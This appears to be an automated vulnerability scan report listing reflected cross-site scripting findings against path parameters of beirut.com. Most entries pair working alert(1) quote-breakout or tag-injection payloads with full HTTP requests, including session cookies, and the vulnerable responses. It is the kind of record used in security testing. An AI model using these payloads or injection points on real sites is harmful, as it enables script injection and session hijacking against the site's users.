<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Recreations65c4f'-alert(1)-'098af3f6f88/Arcade-Centers'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dff0f"><a>4cc49876d95 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreationsdff0f"><a>4cc49876d95/Arcade-Centers/707176335 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:19:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60018
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreationsdff0f"><a>4cc49876d95"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2c61a'-alert(1)-'8c9896bc0d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Arcade-Centers2c61a'-alert(1)-'8c9896bc0d/707176335 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:31:32 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55741
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Recreations/Arcade-Centers2c61a'-alert(1)-'8c9896bc0d'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 79ba0"><a>b953a310f94 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreations79ba0"><a>b953a310f94/Beach-Clubs/67326046 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:22:55 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60194
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreations79ba0"><a>b953a310f94"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4ffd6'-alert(1)-'fe7d3cb1e0b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations4ffd6'-alert(1)-'fe7d3cb1e0b/Beach-Clubs/67326046 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:29:50 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60215
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Recreations4ffd6'-alert(1)-'fe7d3cb1e0b/Beach-Clubs'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d52d9'-alert(1)-'ed5bdbff3f6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Beach-Clubsd52d9'-alert(1)-'ed5bdbff3f6/67326046 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:37:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59122
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Recreations/Beach-Clubsd52d9'-alert(1)-'ed5bdbff3f6'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7279d'-alert(1)-'e9af28b17 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations7279d'-alert(1)-'e9af28b17/Bowling-Centers/93987864 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:24:06 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60209
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Recreations7279d'-alert(1)-'e9af28b17/Bowling-Centers'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4478d"><a>78f68414b5a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreations4478d"><a>78f68414b5a/Bowling-Centers/93987864 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:14:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60191
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreations4478d"><a>78f68414b5a"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 94851'-alert(1)-'3f9f1762b71 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Bowling-Centers94851'-alert(1)-'3f9f1762b71/93987864 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:27:57 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56230
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Recreations/Bowling-Centers94851'-alert(1)-'3f9f1762b71'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a7745'-alert(1)-'58f981d477 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreationsa7745'-alert(1)-'58f981d477/Golf-Clubs/926389688 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:28:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60193
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Recreationsa7745'-alert(1)-'58f981d477/Golf-Clubs'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1b1e"><a>b28c59e248f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreationsf1b1e"><a>b28c59e248f/Golf-Clubs/926389688 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:20:30 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60185
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreationsf1b1e"><a>b28c59e248f"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload adbf5'-alert(1)-'d1930d19a84 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Golf-Clubsadbf5'-alert(1)-'d1930d19a84/926389688 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:34:39 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55870
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Recreations/Golf-Clubsadbf5'-alert(1)-'d1930d19a84'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f1511'-alert(1)-'cf628a96a28 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreationsf1511'-alert(1)-'cf628a96a28/Horseback-Riding/6888394074 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:24:07 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60218
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Recreationsf1511'-alert(1)-'cf628a96a28/Horseback-Riding'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68b1e"><a>d058ff3c489 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreations68b1e"><a>d058ff3c489/Horseback-Riding/6888394074 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:15:30 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60176
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Recreations68b1e"><a>d058ff3c489"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 196be'-alert(1)-'66f2ac5e128 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Recreations/Horseback-Riding196be'-alert(1)-'66f2ac5e128/6888394074 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:31:46 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55866
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Recreations/Horseback-Riding196be'-alert(1)-'66f2ac5e128'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9abe6"><a>5ba29b42c39 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Recreations9abe6"><a>5ba29b42c39/Play-Centers/83897013 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
